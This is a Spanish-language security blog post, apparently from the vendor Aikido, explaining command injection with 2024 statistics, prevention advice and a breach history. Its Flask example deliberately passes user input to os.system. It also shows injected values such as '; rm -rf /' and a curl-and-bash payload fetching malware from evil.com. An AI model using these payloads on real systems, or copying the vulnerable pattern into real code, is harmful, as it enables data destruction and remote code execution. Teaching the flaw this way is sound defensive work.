Aikido

Análisis exhaustivo de la inyección de comandos en 2024

Mackenzie JacksonMackenzie Jackson
|
#

¿Qué es la inyección de comandos?

La inyección de comandos es una vulnerabilidad todavía muy prevalente en las aplicaciones web, a pesar de ser menos conocida que sus primas, la inyección SQL o la inyección de código. Si estás familiarizado con otras vulnerabilidades de inyección, reconocerás el principio común: la entrada de usuario no confiable no se valida correctamente, lo que lleva a la ejecución de comandos de sistema arbitrarios. Este fallo ocurre cuando una entrada no validada se pasa a funciones de nivel de sistema. Entonces, ¿cuán prominente es realmente la inyección de comandos? Analizamos cuán común es ver esta vulnerabilidad en la práctica, *spoiler*, ¡es sorprendentemente común!

Ejemplo de inyección de comandos

Considere este ejemplo de inyección de comandos: supongamos que tiene una aplicación donde puede introducir el nombre de un archivo alojado en un servidor. La aplicación recupera ese archivo mostrando su contenido. El código para ello se encuentra a continuación

import os

file_name = input("Enter the file name: ")
os.system(f"cat {file_name}")

El código anterior espera que un usuario inserte un nombre de archivo como file.txt , sino que un usuario malintencionado inyecta código para ejecutar comandos maliciosos.

Por ejemplo
Nombre del archivo: file.txt; rm -rf /

Esta entrada mostraría primero el contenido de file.txt y luego ejecutar el malicioso rm -rf comando, que eliminará forzosamente todos los archivos de un directorio.

El usuario malicioso puede hacer esto porque la aplicación no validó ni saneó la entrada del usuario, haciendo que la aplicación sea susceptible a la inyección de comandos.

Si deseas un ejemplo más completo, consulta el contenido adicional al final de esta página.

Inyección de Comandos en Cifras: Nuestra Investigación

  • El 7% de todas las vulnerabilidades encontradas en proyectos de código abierto en 2024 fueron de inyección de comandos.
  • 5,8% para proyectos de código cerrado!
  • Un aumento en el número total de vulnerabilidades de inyección de comandos en proyectos de código abierto de 2.348 (2023) a un esperado 2.600 (2024).
  • Como porcentaje del total de vulnerabilidades, la inyección de comandos está perdiendo popularidad: un descenso del 14,6% y 26,4% para proyectos de código abierto y código cerrado, respectivamente, de 2023 a 2024.

Nuestra investigación se centró en proyectos de código abierto y de código cerrado para revelar cuántos ocultaban vulnerabilidades de inyección de comandos.

En general, el número de vulnerabilidades de inyección de comandos es muy alto, con un 7% de todas las vulnerabilidades reportadas en proyectos de código abierto siendo de inyección de comandos y un 5.8% en proyectos de código cerrado. Esto está bastante cerca del número de vulnerabilidades de inyección SQL encontradas.

También hay buenas noticias que extraer de los datos: estamos viendo una tendencia sólida de reducción de estas vulnerabilidades de 2023 a 2024. Como porcentaje de todas las vulnerabilidades, observamos una reducción del 27% en proyectos de código cerrado y del 14% en proyectos de código abierto. Es probable que muchos factores contribuyan a esto; un factor probablemente significativo es que el FBI y CISA en 2024 señalaron la inyección de comandos como una amenaza real e instaron a los proveedores a prestarle atención. Según los datos, esta advertencia fue escuchada.

Lamentablemente, las buenas noticias terminan ahí. Todavía estamos viendo un aumento en el número total de vulnerabilidades reportadas en proyectos de código abierto. El número total de vulnerabilidades de inyección reportadas en proyectos de código abierto pasó de 2.348 en 2023 a 2.450 en lo que va de 2024 (se espera que alcance los 2.600).

Cómo prevenir la inyección de comandos

La prevención de vulnerabilidades de inyección de comandos requiere un enfoque multifacético:

Validación de entrada en el lado del servidor

Un error común es realizar únicamente validación del lado del cliente, la cual puede ser eludida por un atacante que realice una solicitud directa.

import subprocess

# Ejemplo de entrada restringida
allowed_files = ['file1.txt', 'file2.txt']
user_input = "file1.txt"  # Esto debería venir del usuario, pero está validado

if user_input in allowed_files:
   subprocess.Popen(['ls', '-l', user_input])
else:
   print("¡Entrada no válida!")

Evita los comandos de shell

Reemplazar los comandos de shell con funciones o librerías nativas del lenguaje cuando sea posible. A continuación, se muestra un ejemplo de cómo usar el modo de solo lectura para abrir un archivo y leer su contenido.

with open("file.txt", "r") as f:
print(f.read())

Pruebas Automatizadas

Utilice herramientas como Aikido para escanear su código fuente y aplicación y descubrir estas vulnerabilidades.

Utilice un firewall integrado en la aplicación

Una de las mejores defensas contra los ataques de inyección es un firewall integrado en la aplicación que sea capaz de detectar y bloquear comandos maliciosos. El firewall integrado en la aplicación Zen de Aikido está disponible en código abierto y comercial, y es capaz de detectar y bloquear ataques de inyección en tiempo de ejecución.

Aplicar el Principio de Mínimo Privilegio

Configure aplicaciones y usuarios para que se ejecuten con los privilegios mínimos necesarios, reduciendo el daño potencial por explotación.

El camino a seguir

La inyección de comandos, junto con muchas vulnerabilidades de inyección, es un desafío; desde el punto de vista tecnológico, lo hemos resuelto, lo que significa que no es necesario tener este tipo de vulnerabilidad en tus aplicaciones. Con esto en mente, el hecho de que todavía veamos tantas de estas vulnerabilidades significa que no podemos esperar un salto cuántico en la mejora.

La inyección de comandos seguirá siendo un problema, sin embargo, dado que este año hemos observado una disminución significativa gracias a que grandes organizaciones se han centrado en esta vulnerabilidad, hay esperanza de que la inyección de comandos sea menos prominente en el futuro si continuamos concienciando sobre ella.

Contenido adicional

Historia de la inyección de comandos: Brechas destacadas

La inyección de comandos ha sido una amenaza persistente durante mucho tiempo. De hecho, existió una vulnerabilidad significativa de inyección de comandos en bash desde 1989 hasta 2014. Más recientemente, en 2024, la importancia de la inyección de comandos fue destacada por la CISA y el FBI, demostrando que sigue siendo una gran preocupación.

Los inicios de la inyección de comandos

  • Primer uso conocido: Las vulnerabilidades de inyección de comandos surgieron con el auge de los sistemas informáticos multiusuario en las décadas de 1970 y 1980, permitiendo a los atacantes ejecutar comandos arbitrarios a través de entradas no saneadas.
  • Décadas de 1980 y 1990: La proliferación de tecnologías web llevó a una mayor explotación de la inyección de comandos, particularmente a través de scripts CGI con seguridad deficiente.

2. Brechas y Exploits Significativos

  • 1998: El Primer Ataque Documentado de Inyección de Comandos Basado en Web: Se explotó una vulnerabilidad en un script CGI basado en Perl ampliamente utilizado, marcando uno de los primeros incidentes importantes de inyección de comandos basados en web.
  • 2010: Gusano Stuxnet (Inyección de Comandos Incrustada): Stuxnet utilizó la inyección de comandos para atacar sistemas de control industrial, demostrando el alcance de la vulnerabilidad más allá de los entornos de TI tradicionales.

3. Década de 2010: Explotación a escala

  • 2014: Vulnerabilidad Shellshock: Shellshock (CVE-2014-6271) explotó el procesamiento de comandos de Bash, afectando a millones de sistemas en todo el mundo.
  • 2018: Exploit de VPN Cisco ASA (CVE-2018-0101): Una vulnerabilidad de inyección de comandos en el software ASA de Cisco permitió la ejecución remota de código, comprometiendo la seguridad empresarial.

4. Década de 2020: Exploits y tendencias modernas

Vulnerabilidad de inyección de comandos realista

El Código Vulnerable

Veamos un ejemplo ligeramente más complejo de inyección de comandos. A continuación, se muestra un código para una aplicación web sencilla en Python. Permite a los usuarios crear un archivo ZIP de archivos específicos enviando una solicitud POST a la /archivo ruta.

from flask import Flask, request
import os

app = Flask(__name__)

@app.route('/archive', methods=['POST'])
def archive_files():
   files = request.form.get('files')  # User provides file names to archive
   archive_name = request.form.get('archive_name')  # User provides archive name
   
   command = f"zip {archive_name}.zip {files}"  # Command built dynamically
   os.system(command)  # Execute the system command

   return f"Archive {archive_name}.zip created successfully!"
if __name__ == "__main__":
   app.run(debug=True)

Cómo funciona

El usuario proporciona:

  • archivos (p. ej., file1.txt file2.txt) para especificar qué archivos incluir en el archivo.
  • archive_name para especificar el nombre del archivo zip resultante.

El código construye un comando de shell dinámicamente:

1. zip archive_name.zip file1.txt file2.txt

2. El os.system() la función ejecuta el comando, permitiendo que las entradas proporcionadas por el usuario dicten su comportamiento.

Explotación

Un atacante explota esto inyectando comandos adicionales en el archive_name o archivos entradas.

Entrada Proporcionada por el Atacante:

  • archive_name: my_archive; rm -rf /
  • archivos: file1.txt

El comando resultante:

zip my_archive.zip file1.txt; rm -rf /

  1. zip my_archive.zip file1.txt: Crea un archivo como se esperaba.
  2. ; rm -rf /: Elimina todos los archivos del servidor ejecutando un comando destructivo separado.

Un ejemplo más sofisticado

El atacante podría explotar esto para descargar malware o exfiltrar datos:

archive_name: archive; curl -o malware.sh http://evil.com/malware.sh; bash malware.sh

Comando resultante:

zip archive.zip file1.txt; curl -o malware.sh http://evil.com/malware.sh; bash malware.sh

Este comando:

  1. Crea un archivo (zip archive.zip file1.txt).
  2. Descarga código malicioso (curl -o malware.sh http://evil.com/malware.sh).
  3. Ejecuta el malware (bash malware.sh).
4.7/5

Protege tu software ahora.

Empieza gratis
Sin tarjeta
Solicitar una demo
Sus datos no se compartirán · Acceso de solo lectura · No se requiere tarjeta de crédito

Asegúrate ahora.

Proteja su código, la nube y el entorno de ejecución en un único sistema central.
Encuentre y corrija vulnerabilidades de forma rápida y automática.

No se requiere tarjeta de crédito | Resultados del escaneo en 32 segundos.